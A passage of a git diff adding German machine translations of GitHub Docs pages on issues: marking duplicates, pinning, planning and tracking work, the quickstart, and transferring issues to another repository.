+intro: 'Markiere einen Issue oder Pull Request als Duplikat, um ähnliche Issues oder Pull Requests gleichzeitig nachzuverfolgen und unnötigen Aufwand für Maintainer*innen und Mitarbeiter*innen zu vermeiden.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-duplicate-issues-and-pull-requests
+  - /articles/about-duplicate-issues-and-pull-requests
+  - /github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests
+  - /issues/tracking-your-work-with-issues/managing-issues/marking-issues-or-pull-requests-as-a-duplicate
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: fc5a3c28a9d7d05b15aab685887f587fc14e955b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145131009'
+---
+Damit ein als Duplikat markiertes Zeitleistenereignis angezeigt wird, muss der Benutzer, der den Referenzkommentar „Duplikat" erstellt, Schreibzugriff auf das Repository haben, in dem er den Kommentar erstellt.
+
+## Als Duplikate markieren
+
+Um einen Issue oder Pull Request als Duplikat zu markieren, gib „Duplikat von“ gefolgt von der Nummer des Issues oder Pull Requests, der dupliziert wird, in den Text eines neuen Kommentars ein. Du kannst auch die von GitHub bereitgestellten gespeicherten Antworten „Duplikat von Issue“ oder „Duplikat von Pull Request“ verwenden, um einen Issue oder Pull Request als Duplikat zu markieren. Weitere Informationen findest du unter [Informationen zu gespeicherten Antworten](/articles/about-saved-replies).
+
+![Syntax von Duplikaten von Issues](/assets/images/help/issues/duplicate-issue-syntax.png)
+
+## Markierung als Duplikat aufheben
+
+Du kannst die Markierung als Duplikat von Issues oder Pull Requests aufheben, indem du in der Zeitleiste auf **Rückgängig** klickst. Dadurch wird ein neues Zeitleistenereignis hinzugefügt, das anzeigt, dass die Markierung für den Issue oder Pull Request aufgehoben wurde.
+
+![Schaltfläche zum Aufheben der Markierung als Duplikat eines Issues](/assets/images/help/issues/unmark-duplicate-issue-button.png)
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository.md
new file mode 100644
index 0000000000..1948a810db
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository.md
@@ -0,0 +1,30 @@
+---
+title: Einen Issue an Dein Repository anheften
+intro: Du kannst bis zu drei wichtige Issues oberhalb der Issueliste in Deinem Repository anheften.
+permissions: 'People with write access to a repository can pin issue in the repository. {% data reusables.enterprise-accounts.emu-permission-repo %}'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/pinning-an-issue-to-your-repository
+  - /articles/pinning-an-issue-to-your-repository
+  - /github/managing-your-work-on-github/pinning-an-issue-to-your-repository
+  - /issues/tracking-your-work-with-issues/managing-issues/pinning-an-issue-to-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Pin an issue
+ms.openlocfilehash: fd02bb1102e9da35fb534e95fce954ff5c11ec57
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131001'
+---
+![Angeheftete Issues](/assets/images/help/issues/pinned-issues.png)
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %}
+1. Klicke in der Liste der Issues auf den Issue, den Du anheften möchtest.
+2. Klicke auf der rechten Seitenleiste auf **Issue anheften**.
+  ![Schaltfläche zum Anheften eines Issues](/assets/images/help/repository/pin-issue.png)
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md
new file mode 100644
index 0000000000..58cb98d98d
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md
@@ -0,0 +1,132 @@
+---
+title: Planen und Nachverfolgen von Arbeiten für dein Team oder Projekt
+intro: 'Die Grundlagen für die Verwendung der Planungs- und Nachverfolgungstools von {% data variables.product.prodname_dotcom %} zum Verwalten von Arbeiten in einem Team oder Projekt.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Project management
+  - Projects
+ms.openlocfilehash: 782351c80164c90d479120996edf25329d20078c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147423612'
+---
+## Einführung
+Du kannst {% data variables.product.prodname_dotcom %}-Repositorys, -Issues, -Projektboards und andere Tools verwenden, um deine Arbeit zu planen und nachzuverfolgen, unabhängig davon, ob du an einem einzelnen Projekt oder in einem funktionsübergreifenden Team arbeitest.
+
+In diesem Leitfaden erfährst du, wie du ein Repository für die Zusammenarbeit mit einer Gruppe von Personen erstellst und einrichtest, Issuevorlagen{% ifversion fpt or ghec %} und -formulare{% endif %} erstellst, Issues öffnest und Aufgabenlisten verwendest, um Arbeit aufzugliedern, und ein Projektboard zum Organisieren und Nachverfolgen von Issues einrichtest.
+
+## Repository erstellen
+Beim Starten neuer Projekte, Initiativen oder Features besteht der erste Schritt darin, ein Repository zu erstellen. Repositorys enthalten alle Dateien deines Projekts und machen einen Ort verfügbar, an dem du mit anderen zusammenarbeiten und deine Arbeit verwalten kannst. Weitere Informationen findest du unter [Erstellen eines neuen Repositorys](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository).
+
+Du kannst Repositorys für verschiedene Zwecke basierend auf deinen Anforderungen einrichten. Im Folgenden sind ein paar gängige Anwendungsfälle aufgeführt:
+
+- **Produktrepositorys**: Größere Organisationen, die Arbeit und Ziele im Zusammenhang mit bestimmten Produkten nachverfolgen, verfügen gegebenenfalls über mindestens ein Repository, das den Code und andere Dateien enthält. Diese Repositorys können auch für Dokumentation, Berichterstellung hinsichtlich der Produktintegrität oder zukünftige Pläne für das Produkt verwendet werden. 
+- **Projektrepositorys**: Du kannst ein Repository für ein einzelnes Projekt erstellen, an dem du arbeitest, oder für ein Projekt, an dem du mit anderen zusammenarbeitest. Eine Organisation, die die Arbeit für kurzlebige Initiativen oder Projekte nachverfolgt, z. B. ein Beratungsunternehmen, muss über den Sachstand eines Projekts berichten und Projektbeteiligte basierend auf Qualifikationen und Bedürfnissen auf verschiedene Projekten verteilen. Code für das Projekt ist häufig in einem einzigen Repository enthalten.
+- **Teamrepositorys**: Bei einer Organisation, die Personen in Teams gruppiert und diesen Projekte zuteilt, z. B. im Fall eines Teams für Entwicklertools, kann Code auf viele Repositorys für die verschiedenen nachzuverfolgenden Arbeiten verteilt sein. Hier kann es hilfreich sein, ein teamspezifisches Repository als zentralen Ort zu nutzen, an dem alle Arbeiten nachverfolgt werden, an denen das Team beteiligt ist.
+- **Persönliche Repositorys**: Du kannst ein persönliches Repository erstellen, um all deine Arbeit an einem zentralen Ort nachzuverfolgen, zukünftige Aufgaben zu planen oder sogar Notizen oder Informationen hinzuzufügen, die du speichern möchtest. Du kannst auch Projektmitarbeiter hinzufügen, wenn du diese Informationen für andere Personen freigeben möchtest. 
+
+Du kannst mehrere, separate Repositorys erstellen, wenn du unterschiedliche Zugriffsberechtigungen für den Quellcode und zum Nachverfolgen von Issues und Diskussionen benötigst. Weitere Informationen findest du unter [Erstellen eines Repositorys ausschließlich für Issues](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-an-issues-only-repository).
+
+In den folgenden Beispielen in diesem Leitfaden wird ein Beispielrepository mit der Bezeichnung „Project Octocat“ verwendet.
+## Vermitteln von Repositoryinformationen
+Du kannst eine README.md-Datei für dein Repository erstellen, um dein Team oder Projekt einzuführen und wichtige Informationen darüber zu vermitteln. Eine README-Datei ist häufig das erste Element, das ein Benutzer deines Repositorys sehen wird, sodass du auch Informationen darüber bereitstellen kannst, wie Benutzer oder Mitwirkende mit dem Projekt beginnen und wie du dich an das Team wenden kannst. Weitere Informationen findest du unter [Informationen zu README-Dateien](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes).
+
+Du kannst auch eine CONTRIBUTING.md-Datei erstellen, die eigens dafür vorgesehen ist, Richtlinien vorzugeben, wie Benutzer oder Mitwirkende Arbeit zum Team oder Projekt beitragen und mit diesem interagieren können, z. B. wie sie ein Issue zur Fehlerkorrektur öffnen oder eine Verbesserung anfordern können. Weitere Informationen findest du unter [Festlegen von Richtlinien für Repositorymitwirkende](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors).
+### README-Beispiel
+Zum Einführen des neuen Projekts – „Project Octocat“ – kann eine README.md-Datei erstellt werden. 
+
+![Erstellen eines README-Beispiels](/assets/images/help/issues/quickstart-creating-readme.png)
+## Issuevorlagen erstellen
+
+Du kannst Issues verwenden, um die verschiedenen Arten von Arbeit nachzuverfolgen, die dein funktionsübergreifendes Team oder Projekt abdeckt, sowie Informationen von Beteiligten außerhalb deines Projekts zu sammeln. Im Folgenden findest du ein paar gängige Anwendungsfälle für Issues.
+
+- Releasenachverfolgung: Du kannst ein Issue verwenden, um den Fortschritt für ein Release oder die Schritte zum Abschließen eines Starttags nachzuverfolgen.
+- Große Initiativen: Du kannst ein Issue verwenden, um den Fortschritt großer Initiativen oder Projekte nachzuverfolgen und dann eine Verknüpfung zu den kleineren Issues herzustellen.
+- Featureanforderungen: Teams oder Benutzer können Issues erstellen, um eine Verbesserung deines Produkts oder Projekts anzufordern.
+- Fehler: Teams oder Benutzer können Issues erstellen, um einen Fehler zu melden. 
+
+Je nach Typ des Repositorys und Projekts, an dem du arbeitest, kannst du bestimmte Arten von Issues gegenüber anderen Arten priorisieren. Nachdem du die häufigsten Issuetypen für dein Team identifiziert hast, kannst du Issuevorlagen {% ifversion fpt or ghec %}und -formulare{% endif %} für dein Repository erstellen. Issuevorlagen {% ifversion fpt or ghec %}und -formulare{% endif %} ermöglichen es dir, eine standardisierte Liste von Vorlagen zu erstellen, die Mitwirkende auswählen können, wenn sie ein Issue in deinem Repository öffnen. Weitere Informationen findest du unter [Konfigurieren von Issuevorlagen für dein Repository](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository).
+
+### Beispiel für eine Issuevorlage
+Nachfolgend wird eine Issuevorlage zum Melden eines Fehlers im Projekt „Octocat“ erstellt.
+
+![Beispiel für die Erstellung einer Issuevorlage](/assets/images/help/issues/quickstart-creating-issue-template.png)
+
+Nachdem du nun die Issuevorlage für den Fehlerbericht erstellt hast, kannst du diese beim Erstellen eines neuen Issues im Projekt „Octocat“ auswählen.
+
+![Beispiel für die Auswahl einer Issuevorlage](/assets/images/help/issues/quickstart-issue-creation-menu-with-template.png)
+
+## Öffnen von Issues und Verwenden von Aufgabenlisten zum Nachverfolgen der Arbeit
+Du kannst deine Arbeit organisieren und nachverfolgen, indem du Issues erstellst. Weitere Informationen findest du unter [Erstellen eines Issues](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue).
+### Beispiel für ein Issue
+Hier ist ein Beispiel für ein Issue, das für eine große Initiative, Front-End-Arbeit, im Projekt „Octocat“ erstellt wurde.
+
+![Beispiel für die Erstellung eines Issues für eine große Initiative](/assets/images/help/issues/quickstart-create-large-initiative-issue.png)
+### Beispiel für eine Aufgabenliste
+
+Du kannst Aufgabenlisten verwenden, um größere Issues in kleinere Aufgaben aufzuteilen und Issues als Teil eines größeren Ziels nachzuverfolgen. {% ifversion fpt or ghec %} Aufgabenlisten verfügen über zusätzliche Funktionen, wenn sie dem Text eines Issues hinzugefügt werden. Du kannst die Anzahl der Aufgaben sehen, die aus der Gesamtzahl der am Anfang des Issues aufgeführten Aufgaben abgeschlossen wurden. Wenn jemand ein Issue schließt, das in der Aufgabenliste verknüpft ist, wird das Kontrollkästchen automatisch als abgeschlossen markiert.{% endif %} Weitere Informationen findest du unter [Informationen zu Aufgabenlisten](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists).
+
+Nachfolgend wurde dem Issue des Projekts „Octocat“ eine Aufgabenliste hinzugefügt, in der das Issue in kleinere Issues unterteilt wurde.
+
+![Beispiel für das Hinzufügen einer Aufgabenliste zu einem Issue](/assets/images/help/issues/quickstart-add-task-list-to-issue.png)
+
+## Treffen von Entscheidungen als Team
+Du kannst Issues und Diskussionen verwenden, um im Team zu kommunizieren und als Team Entscheidungen zu geplanten Verbesserungen oder Prioritäten für dein Projekt zu treffen. Issues sind nützlich, wenn du sie zur Diskussion bestimmter Details erstellst, z. B. für Fehler- oder Leistungsberichte, die Planung für das nächste Quartal oder das Design für eine neue Initiative. Diskussionen sind nützlich für offenes Brainstorming oder Feedback außerhalb der Codebasis und repositoryübergreifend. Weitere Informationen findest du unter [Welches Diskussionstool sollte ich verwenden?](/github/getting-started-with-github/quickstart/communicating-on-github#which-discussion-tool-should-i-use)
+
+Als Team kannst du auch den aktuellen Stand täglicher Aufgaben innerhalb von Issues kommunizieren, damit jeder den Sachstand der Arbeit kennt. Du kannst z. B. ein Issue für ein großes Feature erstellen, an dem mehrere Personen arbeiten, und jedes Teammitglied kann Updates jeweils mit Status oder offenen Fragen in diesem Issue hinzufügen.
+### Issuebeispiel mit Projektmitarbeitern
+Hier ist ein Beispiel für Projektmitarbeiter, die den aktuellen Sachstand ihrer Arbeit an dem Problem des Projekts „Octocat“ mitteilen.
+
+![Beispiel für die Zusammenarbeit an einem Issue](/assets/images/help/issues/quickstart-collaborating-on-issue.png)
+## Verwenden von Bezeichnungen zum Hervorheben von Projektzielen und -status
+Du kannst Bezeichnungen für ein Repository erstellen, um Issues, Pull Requests und Diskussionen zu kategorisieren. {% data variables.product.prodname_dotcom %} bietet auch Standardbezeichnungen für jedes neue Repository, die du bearbeiten oder löschen kannst. Bezeichnungen sind nützlich zum Nachverfolgen von Projektzielen, Fehlern, Arbeitstypen und Issuestatus.
+
+Weitere Informationen findest du unter [Erstellen einer Bezeichnung](/issues/using-labels-and-milestones-to-track-work/managing-labels#creating-a-label).
+
+Nachdem du eine Bezeichnung in einem Repository erstellt hast, kannst du diese auf beliebige Issues, Pull Requests oder Diskussionen im Repository anwenden. Anschließend kannst du Issues und Pull Requests nach Bezeichnung filtern, um alle zugeordneten Arbeiten zu ermitteln. Suche beispielsweise nach allen Front-End-Fehlern in deinem Projekt, indem du nach Issues mit den Bezeichnungen `front-end` und `bug` filterst. Weitere Informationen findest du unter [Filtern und Suchen von Issues und Pull Requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests).
+### Beispiel für Beschriftungen
+Nachfolgend findest du ein Beispiel für eine `front-end`-Bezeichnung, die erstellt und dem Issue hinzugefügt wurde.
+
+![Beispiel für das Hinzufügen einer Bezeichnung zu einem Issue](/assets/images/help/issues/quickstart-add-label-to-issue.png)
+
+## Hinzufügen von Issues zu einem Projektboard
+
+{% ifversion projects-v2 %}
+
+Du kannst {% data variables.projects.projects_v2 %} auf {% data variables.product.prodname_dotcom %} verwenden, um die Arbeit für dein Team zu planen und nachzuverfolgen. Ein Projekt ist eine anpassbare Kalkulationstabelle, die mit den Issues und Pull Requests in {% data variables.product.prodname_dotcom %} integriert ist und automatisch auf dem neuesten Stand der Informationen in {% data variables.product.prodname_dotcom %} gehalten wird. Du kannst das Layout anpassen, indem du die Issues und Pull Requests filterst, sortierst und gruppierst. Informationen zu den ersten Schritten mit Projekten findest du unter [Schnellstart für Projekte](/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects).
+### Beispielprojekt
+Hier ist das Tabellenlayout eines Beispielprojekts abgebildet, das mit den erstellten Issues des Projekts „Oktocat“ gefüllt ist.
+
+![Beispiel für das Tabellenlayout eines Projekts](/assets/images/help/issues/quickstart-projects-table-view.png)
+
+Dasselbe Projekt kann auch als Board angezeigt werden.
+
+![Beispiel für das Layout eines Projektboards](/assets/images/help/issues/quickstart-projects-board-view.png)
+
+{% endif %} {% ifversion projects-v1 %}
+
+Du kannst {% ifversion projects-v2 %} auch die vorhandenen{% else %} {% endif %} die {% data variables.product.prodname_projects_v1 %} auf {% data variables.product.prodname_dotcom %} verwenden, um die Arbeit deines Teams zu planen und nachzuverfolgen. Projektboards bestehen aus Issues, Pull Requests und Notizen, die als Karten in Spalten deiner Wahl kategorisiert werden. Du kannst Projektboards für die Arbeit an Features, allgemeine Roadmaps oder sogar Releaseprüflisten erstellen. Weitere Informationen findest du unter [Informationen zu Projektboards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards).
+### Beispiel für ein Projektboard
+Nachfolgend findest du ein Projektboard für das Beispielprojekt „Octocat“ mit dem erstellten Issue und den hinzugefügten kleineren Issues, in die es untergliedert wurde.
+
+![Beispiel für ein Projektboard](/assets/images/help/issues/quickstart-project-board.png)
+
+{% endif %}
+
+## Nächste Schritte
+
+Du hast jetzt mehr über die Tools erfahren, die {% data variables.product.prodname_dotcom %} zum Planen und Nachverfolgen deiner Arbeit bietet. Außerdem hast du die ersten Schritte der Einrichtung deines funktionsübergreifenden Team- oder Projektrepositorys ausgeführt. Hier findest du einige hilfreiche Ressourcen, die du nutzen kannst, um das Repository weiter anzupassen und deine Arbeit zu organisieren.
+
+- [Informationen zu Repositorys](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories) mit weiteren Informationen zum Erstellen von Repositorys
+- [Nachverfolgen der Arbeit mit Issues](/issues/tracking-your-work-with-issues) mit weiteren Informationen zu verschiedenen Möglichkeiten zum Erstellen und Verwalten von Issues
+- [Informationen zu Vorlagen für Issues und Pull Requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates) mit weiteren Informationen zu Issuevorlagen
+- [Verwalten von Bezeichnungen](/issues/using-labels-and-milestones-to-track-work/managing-labels) mit weiteren Informationen zum Erstellen, Bearbeiten und Löschen von Bezeichnungen
+- [Informationen zu Aufgabenlisten](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists) mit weiteren Informationen zu Aufgabenlisten {% ifversion projects-v2 %} – [Informationen zu Projekten](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) mit weiteren Informationen zu Projekten
+- [Anpassen einer Ansicht](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view) mit Informationen zum Anpassen von Ansichten für Projekte{% endif %} {% ifversion projects-v1 %}– [Informationen zu {% data variables.product.prodname_projects_v1 %}](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) mit Informationen zum Verwalten Projektboards{% endif %}
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/quickstart.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/quickstart.md
new file mode 100644
index 0000000000..3a01933230
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/quickstart.md
@@ -0,0 +1,104 @@
+---
+title: Schnellstart für GitHub Probleme
+intro: 'Befolge diesen kurzen interaktiven Leitfaden, um mehr über {% data variables.product.prodname_github_issues %} zu erfahren.'
+allowTitleToDifferFromFilename: true
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: quick_start
+topics:
+  - Issues
+  - Project management
+ms.openlocfilehash: 16e52a7b75b34dc8de2f982cf6d0a0bf5d8e9574
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147423252'
+---
+## Einführung
+
+Dieser Leitfaden zeigt, wie du {% data variables.product.prodname_github_issues %} verwendest, um eine Arbeit zu planen und zu verfolgen. In diesem Leitfaden erstellst du ein neues Problem und fügst eine Aufgabenliste hinzu, um Unteraufgaben nachzuverfolgen. Außerdem lernst du, wie du Kennzeichnungen, Meilensteine, Verantwortliche und Projekte hinzufügst, um Metadaten über dein Problem zu kommunizieren.
+
+## Voraussetzungen
+
+Um ein Problem zu erstellen, benötigst du ein Repository. Du kannst ein vorhandenes Repository verwenden, auf das du Schreibzugriff hast, oder du kannst ein neues Repository erstellen. {% data reusables.enterprise-accounts.emu-permission-repo %} Das Repository muss Probleme aktiviert haben. Weitere Informationen zum Erstellen eines Repositorys findest du unter "[Erstellen eines neuen Repositorys](/articles/creating-a-new-repository)." Weitere Informationen zum Aktivieren von Problemen, wenn sie im Repository deaktiviert sind, findest du unter "[Deaktivieren von Problemen](/github/administering-a-repository/managing-repository-settings/disabling-issues)."
+
+## Öffnen eines leeren Problems
+
+Erstelle zunächst ein Problem. Es gibt mehrere Möglichkeiten, ein Problem zu erstellen; du kannst die Methode wählen, die für deinen Workflow am besten geeignet ist. Dieses Beispiel verwendet die {% data variables.product.prodname_dotcom %} Benutzeroberfläche. Weitere Informationen über andere Möglichkeiten, ein Problem zu erstellen, findest du unter "[Erstellen eines Problems](/issues/tracking-your-work-with-issues/creating-an-issue)."
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.repositories.new_issue %}
+1. In diesem Beispiel wird mit einem leeren Problem begonnen. Dein Repository kann Issuevorlagen{% ifversion fpt or ghec %} und Issueformulare{% endif %} verwenden, um Mitwirkende anzuregen, bestimmte Informationen zu liefern. Wenn dein Repository Problemvorlagen verwendet, {% ifversion fpt or ghes or ghec %}klickst du auf **Ein leeres Problem öffnen** {% else %}klickst du auf **Ein normales Problem öffnen.** {% endif %}.
+
+![Leeres Problem](/assets/images/help/issues/blank-issue.png)
+
+## Ausfüllen von Informationen
+
+Gib deinem Problem einen beschreibenden Titel. Der Titel sollte auf einen Blick vermitteln, was das Problem betrifft.
+
+Füge eine Beschreibung hinzu, die den Zweck des Problems erläutert, einschließlich aller Details, die das Problem möglicherweise beheben können. Wenn dies beispielsweise ein Fehlerbericht ist, beschreibe die Schritte zum Reproduzieren des Fehlers, des erwarteten Ergebnisses und des tatsächlichen Ergebnisses.
+
+Du kannst Markdown verwenden, um Formatierungen, Links, Emojis und mehr hinzuzufügen. Weitere Informationen findest du unter "[Schreiben auf GitHub](/github/writing-on-github)."
+
+![Problemtitel- und Text](/assets/images/help/issues/issue-title-body.png)
+
+## Hinzufügen einer Aufgabenliste
+
+Es kann hilfreich sein, große Probleme in kleinere Aufgaben aufzuteilen oder mehrere zusammenhängende Probleme in einem einzigen größeren Problem zu verfolgen. Füge deinem Problem eine Aufgabenliste hinzu, indem du Listenelemente mit `[ ]` vorführst. Verweise auf vorhandene Probleme nach Problemnummer oder URL. Du kannst nur Text verwenden, um Aufgaben zu verfolgen, die nicht über ein entsprechendes Problem verfügen und sie später in Probleme konvertieren. Weitere Informationen findest du unter [Informationen zu Aufgabenlisten](/issues/tracking-your-work-with-issues/about-task-lists).
+
+![Problem mit Aufgabenliste](/assets/images/help/issues/issue-task-list-raw.png)
+
+## Hinzufügen von Kennzeichnungen
+
+Füge eine Kennzeichnung hinzu, um dein Problem zu kategorisieren. Du könntest z.B. eine `bug` Kennzeichnung und eine `good first issue` Kennzeichnung verwenden, um anzuzeigen, dass es sich bei einem Problem um einen Fehler handelt, den ein erstmaliger Mitarbeiter finden könnte. Benutzer können Probleme nach Kennzeichnung filtern, um alle Probleme zu finden, die über eine bestimmte Kennzeichnung verfügen.
+
+Du kannst die Standardbezeichnungen verwenden oder eine neue Kennzeichnung erstellen. Weitere Informationen findest du unter [Verwalten von Bezeichnungen](/issues/using-labels-and-milestones-to-track-work/managing-labels).
+
+![Problem mit Bezeichnungen](/assets/images/help/issues/issue-with-label.png)
+
+## Hinzufügen von Meilensteinen
+
+Du kannst einen Meilenstein hinzufügen, um das Problem als Teil eines datumsbasierten Ziels nachzuverfolgen. Ein Meilenstein zeigt den Fortschritt der Probleme als Zieldatumsansätze an. Weitere Informationen findest du unter "[Informationen zu Meilensteinen](/issues/using-labels-and-milestones-to-track-work/about-milestones)."
+
+![Problem mit Meilenstein](/assets/images/help/issues/issue-milestone.png)
+
+## Zuweisen des Problems
+
+Um Verantwortung zu kommunizieren, kannst du das Problem einem Mitglied deiner Organisation zuweisen. Weitere Informationen findest du unter [Zuweisen von Issues und Pull Requests zu anderen GitHub-Benutzer*innen](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users).
+
+![Problem mit Zuweisungen](/assets/images/help/issues/issue-assignees.png)
+
+## Hinzufügen des Problems zu einem Projekt
+
+Du kannst das Issue einem vorhandenen Projekt{% ifversion projects-v2 %} hinzufügen und Metadaten für das Projekt auffüllen. {% endif %} Weitere Informationen zu Projekten findest du unter {% ifversion projects-v2 %}[Informationen zu Projekten](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) und {% else %}[Organisieren deiner Arbeit in Projektboards](/issues/organizing-your-work-with-project-boards).{% endif %}
+
+![Problem mit Projekten](/assets/images/help/issues/issue-project.png)
+
+## Senden deines Problems
+
+Klicke auf **Neues Problem übermitteln**, um dein Problem zu erstellen. Du kannst alle oben genannten Felder nach dem Erstellen des Problems bearbeiten. Dein Issue hat eine eindeutige URL, die du mit Teammitgliedern teilen oder in anderen Issues oder Pull Requests referenzieren kannst.
+
+## Kommunizieren
+
+Nachdem dein Problem erstellt wurde, kannst du die Konversation fortsetzen, indem du Kommentare zu dem Problem hinzufügst. Du kannst @mention Mitarbeiter oder Teams auf einen Kommentar aufmerksam machen. Um verwandte Issues im gleichen Repository zu verknüpfen, kannst du `#` gefolgt von einem Teil des Issuetitels eingeben und dann auf das Issue klicken, das du verknüpfen möchtest. Weitere Informationen findest du unter "[Schreiben auf GitHub](/github/writing-on-github)."
+
+![Problemkommentar](/assets/images/help/issues/issue-comment.png)
+
+## Nächste Schritte
+
+Du kannst Projekte für eine Vielzahl von Zwecken verwenden. Zum Beispiel:
+
+- Nachverfolgen von Ideen
+- Sammeln von Feedback
+- Planen von Aufgaben
+- Melden von Fehlern
+
+Hier findest du einige hilfreiche Ressourcen für deine nächsten Schritte mit {% data variables.product.prodname_github_issues %}:
+
+- Weitere Informationen zu Problemen findest du unter "[Informationen zu Problemen](/issues/tracking-your-work-with-issues/about-issues)."
+- Weitere Informationen darüber, wie Projekte dir bei der Planung und Verfolgung helfen können, findest du unter {% ifversion projects-v2 %}[Informationen zu Projekten](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) oder {% else %}[Organisieren deiner Arbeit in Projektboards](/issues/organizing-your-work-with-project-boards).{% endif %}
+- Weitere Informationen über die Verwendung von Problemvorlagen{% ifversion fpt or ghec %} und Formularen{% endif %}, mit denen du Mitwirkende dazu ermutigen kannst, bestimmte Informationen bereitzustellen, findest du unter "[Verwenden von Vorlagen, um nützliche Probleme und Pull-Anforderungen zu fördern](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
new file mode 100644
index 0000000000..62e619427f
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
@@ -0,0 +1,67 @@
+---
+title: Issue auf ein anderes Repository übertragen
+intro: 'Wenn du einen offenen Issue in ein geeigneteres Repository verschieben möchtest, kannst du ihn in ein anderes Repository übertragen.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/transferring-an-issue-to-another-repository
+  - /articles/transferring-an-issue-to-another-repository
+  - /github/managing-your-work-on-github/transferring-an-issue-to-another-repository
+  - /issues/tracking-your-work-with-issues/managing-issues/transferring-an-issue-to-another-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Transfer an issue
+ms.openlocfilehash: ee17296217027d2de9805a905aaec187f53e5614
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147710419'
+---
+Für die Übertragung eines offenen Issues in ein anderes Repository benötigst du Schreibzugriff sowohl für das Repository, aus dem das Issue stammt, als auch für das Repository, in das das Issue übertragen wird. Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
+
+{% note %}
+
+**Hinweis**: Du kannst Issues nur zwischen Repositorys übertragen, die demselben Benutzer- oder Organisationskonto angehören. {% ifversion fpt or ghes or ghec %} Ein Issue eines privaten Repositorys kann nicht in ein öffentliches Repository übertragen werden.{% endif %}
+
+{% endnote %}
+
+Wenn du ein Issue überträgst, bleiben Kommentare und zugewiesene Personen erhalten. Bezeichnungen und Meilensteine werden ebenfalls beibehalten, wenn sie im Zielrepository vorhanden sind, wobei Bezeichnungen anhand des Namens und Meilensteine sowohl anhand des Namens als auch anhand des Fälligkeitsdatums abgeglichen werden. Dieses Issue bleibt bei allen benutzereigenen oder organisationsweiten Projektboards erhalten und wird aus allen Repository-Projektboards entfernt. Weitere Informationen findest du unter [Informationen zu Projektboards](/articles/about-project-boards).
+
